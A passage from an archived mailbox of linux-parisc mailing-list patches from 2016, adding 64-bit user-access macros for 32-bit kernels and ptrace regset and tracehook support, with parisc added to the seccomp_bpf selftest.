 	    case 4: __put_user_asm("stw", __x, ptr); break;     \
 	    case 8: STD_USER(__x, ptr); break;			\
 	    default: BUILD_BUG(); break;			\
-	    }                                                   \
 	}                                                       \
 								\
 	__pu_err;						\
@@ -158,17 +140,9 @@ struct exception_data {
  * r8/r9 are already listed as err/val.
  */
 
-#define __put_kernel_asm(stx, x, ptr)                       \
-	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%1)\n\t"		    \
-		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_1)\
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
-	    	: "r1")
-
 #define __put_user_asm(stx, x, ptr)                         \
 	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n\t"	    \
+		"\n1:\t" stx "\t%2,0(%%sr2,%1)\n\t"	    \
 		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
@@ -177,21 +151,10 @@ struct exception_data {
 
 #if !defined(CONFIG_64BIT)
 
-#define __put_kernel_asm64(__val, ptr) do {		    \
-	__asm__ __volatile__ (				    \
-		"\n1:\tstw %2,0(%1)"			    \
-		"\n2:\tstw %R2,4(%1)\n\t"		    \
-		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_2)\
-		ASM_EXCEPTIONTABLE_ENTRY(2b, fixup_put_user_skip_1)\
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(__val), "0"(__pu_err) \
-		: "r1");				    \
-} while (0)

From - Thu Nov 08 21:38:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add 64bit get_user() and put_user() for 32bit kernel
Date: Sat, 9 Apr 2016 08:27:08 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20160409062708.GB4203@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460183247 11085 80.91.229.3 (9 Apr 2016 06:27:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Apr 2016 06:27:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 09 08:27:26 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aomMc-0006o9-N7
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Apr 2016 08:27:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751676AbcDIG1W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Apr 2016 02:27:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:62006 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751332AbcDIG1V (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Apr 2016 02:27:21 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0McVGq-1b6Rjk2Qj2-00HgeY; Sat, 09 Apr 2016 08:27:12
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:iD6aXhZxHSjKxzjq4AnaGuIZ0VwZhfRvQCpas/8E0RDitjsmAwI
 h6L/a8QG/EJULgHWpMoP9eKGVkTVAY24buNyv+j5Txr/3+yzXNqr4HROif1+N0ju2WEAh8O
 54Ys5VElkE6su3gcKCO4RPd3Xo1hyKzfWWvTRtYt9S+GUL65LdkxSNKWBjn64pYEmXzjPZV
 rG1EXQYolg/rHM+ygf5xA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ev+UXflp2BU=:aB2Vm84lm53xl8GFsTPFnO
 QwcuxXO0JOLEjRsc2mI8iRRJLo79WxSyT2CTCP30889jZcvoz6P5Knt62DjgnXgQZWRD4AAXl
 zUULdWSiEiMx5Lmw/ethujAVNBcEWksU+KOtkuiyXK/WsqHLr83/gKlbQJe+xCzYwOHPQxyPc
 W8v1S3MRwtZCIHrnYI45pYxqtDrsDI2It8psBNhKXgRpD50j54OrEA6f7fOTXDSNIN1aZAMwZ
 L4+ZRqDIgCKyvqnPSEoVmqtWV54LUnfsCl0bWWIvA8hTqcuszOeUM4oFFkMjL8CEkX6f7MoXj
 i4XbfxhSSsZ6BYRUnbG40E46cFx8dvEXwGLBvualhukEXoZAHe5LhYO7p7Qvvy+pJ+QXOFuCW
 3dWA84K6sIlXpQT8/Z9+ypAtBXFlbtDFoE2m21SjuXKJ3oBs1FEheH7f/dli1NXnnCb04HjTa
 fe1cpw4ZPMNa6oHXB2bAAQU+Q68eSx5WnWCFD+uvDKsTmVoEpxjZikFx6nwC7Ysyc2pefQAc6
 43F7FXkA1+ZB/wCVw1bznQDeYaxEVBGs5XdTwFoYbk8UuPBKOfSyQxJVyLquD317PLywVABqW
 7g6/qOkwpamhTKXjdASZaBsOlZ8Z+nTJ0APHBRMVd3qAKjPAenpBvL931Nb5Tzt9JE/gvnq0a
 Qzihr4IFY/lOt0EKnA+vZKJPxAhKlVLgOjJmByA147GXVXCsz9ZMDfbd4sa+XP5eD6LE78woJ
 fC1PaDc9OtlsLOLbuRU0jvKsfGBdiU0Afc6MQxuCQGNM+Ie2Qr2qJ9EVxck=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26608
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26608>

Add functionality to access 64-bit values in userspace on a 32-bit
kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 48070f2..efe6c5d 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -40,7 +40,7 @@ static inline long access_ok(int type, const void __user * addr,
 #define get_user __get_user
 
 #if !defined(CONFIG_64BIT)
-#define LDD_USER(ptr)		BUILD_BUG()
+#define LDD_USER(ptr)		__get_user_asm64(ptr)
 #define STD_USER(x, ptr)	__put_user_asm64(x, ptr)
 #else
 #define LDD_USER(ptr)		__get_user_asm("ldd", ptr)
@@ -113,6 +113,20 @@ struct exception_data {
 		: "r"(ptr), "1"(__gu_err)		\
 		: "r1");
 
+#if !defined(CONFIG_64BIT)
+
+#define __get_user_asm64(ptr) 				\
+	__asm__("\n1:\tldw 0(%%sr2,%2),%0"		\
+		"\n2:\tldw 4(%%sr2,%2),%R0\n\t"		\
+		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_get_user_skip_2)\
+		ASM_EXCEPTIONTABLE_ENTRY(2b, fixup_get_user_skip_1)\
+		: "=r"(__gu_val), "=r"(__gu_err)	\
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
+
+#endif /* !defined(CONFIG_64BIT) */
+
+
 #define __put_user(x, ptr)                                      \
 ({								\
 	register long __pu_err __asm__ ("r8") = 0;      	\
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add ARCH_TRACEHOOK and regset support
Date: Sat, 9 Apr 2016 08:30:40 +0200
Lines: 543
Approved: news@gmane.org
Message-ID: <20160409063040.GC4203@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460183458 14021 80.91.229.3 (9 Apr 2016 06:30:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Apr 2016 06:30:58 +0000 (UTC)
Cc: Paul Moore <paul@paul-moore.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 09 08:30:57 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aomQ3-0001Su-N2
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Apr 2016 08:30:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752342AbcDIGay (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Apr 2016 02:30:54 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:65468 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752257AbcDIGax (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Apr 2016 02:30:53 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0McUnM-1b6RpD24HY-00Hgkg; Sat, 09 Apr 2016 08:30:43
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Bt2g6h2iJqTXfDxjhD8OG0kg1oOfA7uhoMyFYmOXFSUGtQOCOe4
 FvPjMSkdTz25k5ibp16wcB79pn5QofeI6XPAeZATCFctKbsxVYLmuS+oTl0seEk4Yp9vRaP
 1u1wJzAxtppdvysFvYL0akBKUVFgbG1c55KJd8Br7y3Munse4NeGJ6bwwZHKRMLWdW1HEcy
 lHbA25EZuI85yoVIaEBJg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:w2WOvrhd09I=:nt5v3K6e42C+mwJ8Yn2z9p
 bcyVnFD6x+Mi6QZUaG1rPsUZqW35JOEhz6yvaAvIWR9qDT/ld3AyoggmOy+lR/9ZvNNniKZPA
 1k1EajiufucO0gUmVOnsG744j7SIbkJ7lFrvKImjpxJLOxyhQYmfiBNmTeX32BJfYng6fPeRo
 pmL4RlYggiqwwaHXNJHtlVBT0OA5GYQfHGzIn0wVDTXYVe4/t2ptMFPwf/r4yZUmHrghTAxFb
 8BVrd9wJghfvvRCGICLddhb6r8x4QFDdNYrbmKfOKFXiOgzTRRF8Kc6fEO6MgPFb2o6sffhdS
 cjFDvFzSRK3sZkhycqV7iFFtGD05wSA9p3jkzoW+Io3DnoCSp70MX7MLu9qBDT4KhdhDGkTM6
 heaainf1FZvI11VdJLqxVBzbI0m+wVDAnNVi0JhG8gyaD6jsvVPBOAK6aLBH5j5EDUYX9i9Nm
 kk3SxwBsKvsbhxKGhiQ+ZsKqtjgaldEfz+4YHaKQuz8kyVxQtE/L4cv14lOKpWtCw+GRZeKLD
 g+MvSktrOpkk8zGzJgKU4ISus5FCErmMPRuMw8QkTNqktSKjxvN+Crgs55uICj9DcDmEK4Yef
 Mo+ALMmIdcRaLaUlxzhGI86sk5rLjXJbklYvu2E0wv0JKIajrJGWmb7j2uboBRCpN/gMaPTiW
 8ok6FgzGCEioD+sXga4JNEsjrLj8viw6UBWZ5LFtUsgyp7ntRASA8zNkTy4YUfUVIo42g6Fn3
 9H62ehEtyshfUOxvE3VanEsRpoiNs27ToTmo8x+pkvCtomSZWJbOAcCfLGE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26609
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26609>

By adding TRACEHOOK support we now get a clean user interface to access
registers via PTRACE_GETREGS, PTRACE_SETREGS, PTRACE_GETFPREGS and
PTRACE_SETFPREGS.

The user-visible regset struct user_regs_struct and user_fp_struct are
modelled similiar to x86 and can be accessed via PTRACE_GETREGSET.

Add support for the parisc architecture to the seccomp_bpf testcase.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index bd3c873..ea72046 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -31,6 +31,7 @@ config PARISC
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_ARCH_SECCOMP_FILTER
+	select HAVE_ARCH_TRACEHOOK
 	select ARCH_NO_COHERENT_DMA_MMAP
 
 	help
diff --git a/arch/parisc/include/uapi/asm/ptrace.h b/arch/parisc/include/uapi/asm/ptrace.h
index c4fa6c8..02ce2eb 100644
--- a/arch/parisc/include/uapi/asm/ptrace.h
+++ b/arch/parisc/include/uapi/asm/ptrace.h
@@ -13,6 +13,11 @@
  * N.B. gdb/strace care about the size and offsets within this
  * structure. If you change things, you may break object compatibility
  * for those applications.
+ *
+ * Please do NOT use this structure for future programs, but use
+ * user_regs_struct (see below) instead.
+ *
+ * It can be accessed through PTRACE_PEEKUSR/PTRACE_POKEUSR only.
  */
 
 struct pt_regs {
@@ -33,6 +38,45 @@ struct pt_regs {
 	unsigned long ipsw;	/* CR22 */
 };
 
+/**
+ * struct user_regs_struct - User general purpose registers
+ *
+ * This is the user-visible general purpose register state structure
+ * which is used to define the elf_gregset_t.
+ *
+ * It can be accessed through PTRACE_GETREGSET with NT_PRSTATUS
+ * and through PTRACE_GETREGS.
+ */
+struct user_regs_struct {
+	unsigned long gr[32];	/* PSW is in gr[0] */
+	unsigned long sr[8];
+	unsigned long iaoq[2];
+	unsigned long iasq[2];
+	unsigned long sar;	/* CR11 */
+	unsigned long iir;	/* CR19 */
+	unsigned long isr;	/* CR20 */
+	unsigned long ior;	/* CR21 */
+	unsigned long ipsw;	/* CR22 */
+	unsigned long cr0;
+	unsigned long cr24, cr25, cr26, cr27, cr28, cr29, cr30, cr31;
+	unsigned long cr8, cr9, cr12, cr13, cr10, cr15;
+	unsigned long _pad[80-64];	/* pad to ELF_NGREG (80) */
+};
+
+/**
+ * struct user_fp_struct - User floating point registers
+ *
+ * This is the user-visible floating point register state structure.
+ * It uses the same layout and size as elf_fpregset_t.
+ *
+ * It can be accessed through PTRACE_GETREGSET with NT_PRFPREG
+ * and through PTRACE_GETFPREGS.
+ */
+struct user_fp_struct {
+	__u64 fr[32];
+};
+
+
 /*
  * The numbers chosen here are somewhat arbitrary but absolutely MUST
  * not overlap with any of the number assigned in <linux/ptrace.h>.
@@ -43,5 +87,9 @@ struct pt_regs {
  */
 #define PTRACE_SINGLEBLOCK	12	/* resume execution until next branch */
 
+#define PTRACE_GETREGS		18
+#define PTRACE_SETREGS		19
+#define PTRACE_GETFPREGS	14
+#define PTRACE_SETFPREGS	15
 
 #endif /* _UAPI_PARISC_PTRACE_H */
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 8fb81a3..f936fc6 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -4,18 +4,20 @@
  * Copyright (C) 2000 Hewlett-Packard Co, Linuxcare Inc.
  * Copyright (C) 2000 Matthew Wilcox <matthew@wil.cx>
  * Copyright (C) 2000 David Huggins-Daines <dhd@debian.org>
- * Copyright (C) 2008 Helge Deller <deller@gmx.de>
+ * Copyright (C) 2008-2016 Helge Deller <deller@gmx.de>
  */
 
 #include <linux/kernel.h>
 #include <linux/sched.h>
 #include <linux/mm.h>
 #include <linux/smp.h>
+#include <linux/elf.h>
 #include <linux/errno.h>
 #include <linux/ptrace.h>
 #include <linux/tracehook.h>
 #include <linux/user.h>
 #include <linux/personality.h>
+#include <linux/regset.h>
 #include <linux/security.h>
 #include <linux/seccomp.h>
 #include <linux/compat.h>
@@ -31,6 +33,14 @@
 #define USER_PSW_BITS	(PSW_N | PSW_B | PSW_V | PSW_CB)
 
 /*
+ * These are our native regset flavors.
+ */
+enum parisc_regset {
+	REGSET_GENERAL,
+	REGSET_FP
+};
+
+/*
  * Called by kernel/ptrace.c when detaching..
  *
  * Make sure single step bits etc are not set.
@@ -114,6 +124,7 @@ void user_enable_block_step(struct task_struct *task)
 long arch_ptrace(struct task_struct *child, long request,
 		 unsigned long addr, unsigned long data)
 {
+	unsigned long __user *datap = (unsigned long __user *)data;
 	unsigned long tmp;
 	long ret = -EIO;
 
@@ -126,7 +137,7 @@ long arch_ptrace(struct task_struct *child, long request,
 		     addr >= sizeof(struct pt_regs))
 			break;
 		tmp = *(unsigned long *) ((char *) task_regs(child) + addr);
-		ret = put_user(tmp, (unsigned long __user *) data);
+		ret = put_user(tmp, datap);
 		break;
 
 	/* Write the word at location addr in the USER area.  This will need
@@ -165,6 +176,34 @@ long arch_ptrace(struct task_struct *child, long request,
 		}
 		break;
 
+	case PTRACE_GETREGS:	/* Get all gp regs from the child. */
+		return copy_regset_to_user(child,
+					   task_user_regset_view(current),
+					   REGSET_GENERAL,
+					   0, sizeof(struct user_regs_struct),
+					   datap);
+
+	case PTRACE_SETREGS:	/* Set all gp regs in the child. */
+		return copy_regset_from_user(child,
+					     task_user_regset_view(current),
+					     REGSET_GENERAL,
+					     0, sizeof(struct user_regs_struct),
+					     datap);
+
+	case PTRACE_GETFPREGS:	/* Get the child FPU state. */
+		return copy_regset_to_user(child,
+					   task_user_regset_view(current),
+					   REGSET_FP,
+					   0, sizeof(struct user_fp_struct),
+					   datap);
+
+	case PTRACE_SETFPREGS:	/* Set the child FPU state. */
+		return copy_regset_from_user(child,
+					     task_user_regset_view(current),
+					     REGSET_FP,
+					     0, sizeof(struct user_fp_struct),
+					     datap);
+
 	default:
 		ret = ptrace_request(child, request, addr, data);
 		break;
@@ -314,3 +353,316 @@ void do_syscall_trace_exit(struct pt_regs *regs)
 	if (stepping || test_thread_flag(TIF_SYSCALL_TRACE))
 		tracehook_report_syscall_exit(regs, stepping);
 }
+
+
+/*
+ * regset functions.
+ */
+
+static int fpr_get(struct task_struct *target,
+		     const struct user_regset *regset,
+		     unsigned int pos, unsigned int count,
+		     void *kbuf, void __user *ubuf)
+{
+	struct pt_regs *regs = task_regs(target);
+	__u64 *k = kbuf;
+	__u64 __user *u = ubuf;
+	__u64 reg;
+
+	pos /= sizeof(reg);
+	count /= sizeof(reg);
+
+	if (kbuf)
+		for (; count > 0 && pos < ELF_NFPREG; --count)
+			*k++ = regs->fr[pos++];
+	else
+		for (; count > 0 && pos < ELF_NFPREG; --count)
+			if (__put_user(regs->fr[pos++], u++))
+				return -EFAULT;
+
+	kbuf = k;
+	ubuf = u;
+	pos *= sizeof(reg);
+	count *= sizeof(reg);
+	return user_regset_copyout_zero(&pos, &count, &kbuf, &ubuf,
+					ELF_NFPREG * sizeof(reg), -1);
+}
+
+static int fpr_set(struct task_struct *target,
+		     const struct user_regset *regset,
+		     unsigned int pos, unsigned int count,
+		     const void *kbuf, const void __user *ubuf)
+{
+	struct pt_regs *regs = task_regs(target);
+	const __u64 *k = kbuf;
+	const __u64 __user *u = ubuf;
+	__u64 reg;
+
+	pos /= sizeof(reg);
+	count /= sizeof(reg);
+
+	if (kbuf)
+		for (; count > 0 && pos < ELF_NFPREG; --count)
+			regs->fr[pos++] = *k++;
+	else
+		for (; count > 0 && pos < ELF_NFPREG; --count) {
+			if (__get_user(reg, u++))
+				return -EFAULT;
+			regs->fr[pos++] = reg;
+		}
+
+	kbuf = k;
+	ubuf = u;
+	pos *= sizeof(reg);
+	count *= sizeof(reg);
+	return user_regset_copyin_ignore(&pos, &count, &kbuf, &ubuf,
+					 ELF_NFPREG * sizeof(reg), -1);
+}
+
+#define RI(reg) (offsetof(struct user_regs_struct,reg) / sizeof(long))
+
+static unsigned long get_reg(struct pt_regs *regs, int num)
+{
+	switch (num) {
+	case RI(gr[0]) ... RI(gr[31]):	return regs->gr[num - RI(gr[0])];
+	case RI(sr[0]) ... RI(sr[7]):	return regs->sr[num - RI(sr[0])];
+	case RI(iasq[0]):		return regs->iasq[0];
+	case RI(iasq[1]):		return regs->iasq[1];
+	case RI(iaoq[0]):		return regs->iaoq[0];
+	case RI(iaoq[1]):		return regs->iaoq[1];
+	case RI(sar):			return regs->sar;
+	case RI(iir):			return regs->iir;
+	case RI(isr):			return regs->isr;
+	case RI(ior):			return regs->ior;
+	case RI(ipsw):			return regs->ipsw;
+	case RI(cr27):			return regs->cr27;
+	case RI(cr0):			return mfctl(0);
+	case RI(cr24):			return mfctl(24);
+	case RI(cr25):			return mfctl(25);
+	case RI(cr26):			return mfctl(26);
+	case RI(cr28):			return mfctl(28);
+	case RI(cr29):			return mfctl(29);
+	case RI(cr30):			return mfctl(30);
+	case RI(cr31):			return mfctl(31);
+	case RI(cr8):			return mfctl(8);
+	case RI(cr9):			return mfctl(9);
+	case RI(cr12):			return mfctl(12);
+	case RI(cr13):			return mfctl(13);
+	case RI(cr10):			return mfctl(10);
+	case RI(cr15):			return mfctl(15);
+	default:			return 0;
+	}
+}
+
+static void set_reg(struct pt_regs *regs, int num, unsigned long val)
+{
+	switch (num) {
+	case RI(gr[0]): /*
+			 * PSW is in gr[0].
+			 * Allow writing to Nullify, Divide-step-correction,
+			 * and carry/borrow bits.
+			 * BEWARE, if you set N, and then single step, it won't
+			 * stop on the nullified instruction.
+			 */
+			val &= USER_PSW_BITS;
+			regs->gr[0] &= ~USER_PSW_BITS;
+			regs->gr[0] |= val;
+			return;
+	case RI(gr[1]) ... RI(gr[31]):
+			regs->gr[num - RI(gr[0])] = val;
+			return;
+	case RI(iaoq[0]):
+	case RI(iaoq[1]):
+			regs->iaoq[num - RI(iaoq[0])] = val;
+			return;
+	case RI(sar):	regs->sar = val;
+			return;
+	default:	return;
+#if 0
+	/* do not allow to change any of the following registers (yet) */
+	case RI(sr[0]) ... RI(sr[7]):	return regs->sr[num - RI(sr[0])];
+	case RI(iasq[0]):		return regs->iasq[0];
+	case RI(iasq[1]):		return regs->iasq[1];
+	case RI(iir):			return regs->iir;
+	case RI(isr):			return regs->isr;
+	case RI(ior):			return regs->ior;
+	case RI(ipsw):			return regs->ipsw;
+	case RI(cr27):			return regs->cr27;
+        case cr0, cr24, cr25, cr26, cr27, cr28, cr29, cr30, cr31;
+        case cr8, cr9, cr12, cr13, cr10, cr15;
+#endif
+	}
+}
+
+static int gpr_get(struct task_struct *target,
+		     const struct user_regset *regset,
+		     unsigned int pos, unsigned int count,
+		     void *kbuf, void __user *ubuf)
+{
+	struct pt_regs *regs = task_regs(target);
+	unsigned long *k = kbuf;
+	unsigned long __user *u = ubuf;
+	unsigned long reg;
+
+	pos /= sizeof(reg);
+	count /= sizeof(reg);
+
+	if (kbuf)
+		for (; count > 0 && pos < ELF_NGREG; --count)
+			*k++ = get_reg(regs, pos++);
+	else
+		for (; count > 0 && pos < ELF_NGREG; --count)
+			if (__put_user(get_reg(regs, pos++), u++))
+				return -EFAULT;
+	kbuf = k;
+	ubuf = u;
+	pos *= sizeof(reg);
+	count *= sizeof(reg);
+	return user_regset_copyout_zero(&pos, &count, &kbuf, &ubuf,
+					ELF_NGREG * sizeof(reg), -1);
+}
+
+static int gpr_set(struct task_struct *target,
+		     const struct user_regset *regset,
+		     unsigned int pos, unsigned int count,
+		     const void *kbuf, const void __user *ubuf)
+{
+	struct pt_regs *regs = task_regs(target);
+	const unsigned long *k = kbuf;
+	const unsigned long __user *u = ubuf;
+	unsigned long reg;
+
+	pos /= sizeof(reg);
+	count /= sizeof(reg);
+
+	if (kbuf)
+		for (; count > 0 && pos < ELF_NGREG; --count)
+			set_reg(regs, pos++, *k++);
+	else
+		for (; count > 0 && pos < ELF_NGREG; --count) {
+			if (__get_user(reg, u++))
+				return -EFAULT;
+			set_reg(regs, pos++, reg);
+		}
+
+	kbuf = k;
+	ubuf = u;
+	pos *= sizeof(reg);
+	count *= sizeof(reg);
+	return user_regset_copyin_ignore(&pos, &count, &kbuf, &ubuf,
+					 ELF_NGREG * sizeof(reg), -1);
+}
+
+static const struct user_regset native_regsets[] = {
+	[REGSET_GENERAL] = {
+		.core_note_type = NT_PRSTATUS, .n = ELF_NGREG,
+		.size = sizeof(long), .align = sizeof(long),
+		.get = gpr_get, .set = gpr_set
+	},
+	[REGSET_FP] = {
+		.core_note_type = NT_PRFPREG, .n = ELF_NFPREG,
+		.size = sizeof(__u64), .align = sizeof(__u64),
+		.get = fpr_get, .set = fpr_set
+	}
+};
+
+static const struct user_regset_view user_parisc_native_view = {
+	.name = "parisc", .e_machine = ELF_ARCH, .ei_osabi = ELFOSABI_LINUX,
+	.regsets = native_regsets, .n = ARRAY_SIZE(native_regsets)
+};
+
+#ifdef CONFIG_64BIT
+#include <linux/compat.h>
+
+static int gpr32_get(struct task_struct *target,
+		     const struct user_regset *regset,
+		     unsigned int pos, unsigned int count,
+		     void *kbuf, void __user *ubuf)
+{
+	struct pt_regs *regs = task_regs(target);
+	compat_ulong_t *k = kbuf;
+	compat_ulong_t __user *u = ubuf;
+	compat_ulong_t reg;
+
+	pos /= sizeof(reg);
+	count /= sizeof(reg);
+
+	if (kbuf)
+		for (; count > 0 && pos < ELF_NGREG; --count)
+			*k++ = get_reg(regs, pos++);
+	else
+		for (; count > 0 && pos < ELF_NGREG; --count)
+			if (__put_user((compat_ulong_t) get_reg(regs, pos++), u++))
+				return -EFAULT;
+
+	kbuf = k;
+	ubuf = u;
+	pos *= sizeof(reg);
+	count *= sizeof(reg);
+	return user_regset_copyout_zero(&pos, &count, &kbuf, &ubuf,
+					ELF_NGREG * sizeof(reg), -1);
+}
+
+static int gpr32_set(struct task_struct *target,
+		     const struct user_regset *regset,
+		     unsigned int pos, unsigned int count,
+		     const void *kbuf, const void __user *ubuf)
+{
+	struct pt_regs *regs = task_regs(target);
+	const compat_ulong_t *k = kbuf;
+	const compat_ulong_t __user *u = ubuf;
+	compat_ulong_t reg;
+
+	pos /= sizeof(reg);
+	count /= sizeof(reg);
+
+	if (kbuf)
+		for (; count > 0 && pos < ELF_NGREG; --count)
+			set_reg(regs, pos++, *k++);
+	else
+		for (; count > 0 && pos < ELF_NGREG; --count) {
+			if (__get_user(reg, u++))
+				return -EFAULT;
+			set_reg(regs, pos++, reg);
+		}
+
+	kbuf = k;
+	ubuf = u;
+	pos *= sizeof(reg);
+	count *= sizeof(reg);
+	return user_regset_copyin_ignore(&pos, &count, &kbuf, &ubuf,
+					 ELF_NGREG * sizeof(reg), -1);
+}
+
+/*
+ * These are the regset flavors matching the 32bit native set.
+ */
+static const struct user_regset compat_regsets[] = {
+	[REGSET_GENERAL] = {
+		.core_note_type = NT_PRSTATUS, .n = ELF_NGREG,
+		.size = sizeof(compat_long_t), .align = sizeof(compat_long_t),
+		.get = gpr32_get, .set = gpr32_set
+	},
+	[REGSET_FP] = {
+		.core_note_type = NT_PRFPREG, .n = ELF_NFPREG,
+		.size = sizeof(__u64), .align = sizeof(__u64),
+		.get = fpr_get, .set = fpr_set
+	}
+};
+
+static const struct user_regset_view user_parisc_compat_view = {
+	.name = "parisc", .e_machine = EM_PARISC, .ei_osabi = ELFOSABI_LINUX,
+	.regsets = compat_regsets, .n = ARRAY_SIZE(compat_regsets)
+};
+#endif	/* CONFIG_64BIT */
+
+const struct user_regset_view *task_user_regset_view(struct task_struct *task)
+{
+	BUILD_BUG_ON(sizeof(struct user_regs_struct)/sizeof(long) != ELF_NGREG);
+	BUILD_BUG_ON(sizeof(struct user_fp_struct)/sizeof(__u64) != ELF_NFPREG);
+#ifdef CONFIG_64BIT
+	if (is_compat_task())
+		return &user_parisc_compat_view;
+#endif
+	return &user_parisc_native_view;
+}
diff --git a/tools/testing/selftests/seccomp/seccomp_bpf.c b/tools/testing/selftests/seccomp/seccomp_bpf.c
index b9453b8..e9eec23 100644
--- a/tools/testing/selftests/seccomp/seccomp_bpf.c
+++ b/tools/testing/selftests/seccomp/seccomp_bpf.c
@@ -1234,6 +1234,10 @@ TEST_F(TRACE_poke, getpid_runs_normally)
 # define ARCH_REGS	struct user_pt_regs
 # define SYSCALL_NUM	regs[8]
 # define SYSCALL_RET	regs[0]
+#elif defined(__hppa__)
+# define ARCH_REGS	struct user_regs_struct
+# define SYSCALL_NUM	gr[20]
+# define SYSCALL_RET	gr[28]
 #elif defined(__powerpc__)
 # define ARCH_REGS	struct pt_regs
 # define SYSCALL_NUM	gpr[0]
@@ -1293,7 +1297,7 @@ void change_syscall(struct __test_metadata *_metadata,
 	EXPECT_EQ(0, ret);
 
 #if defined(__x86_64__) || defined(__i386__) || defined(__powerpc__) || \
-    defined(__s390__)
+    defined(__s390__) || defined(__hppa__)
 	{
 		regs.SYSCALL_NUM = syscall;
 	}
@@ -1479,6 +1483,8 @@ TEST_F(TRACE_syscall, syscall_dropped)
 #  define __NR_seccomp 383
 # elif defined(__aarch64__)
 #  define __NR_seccomp 277
+# elif defined(__hppa__)
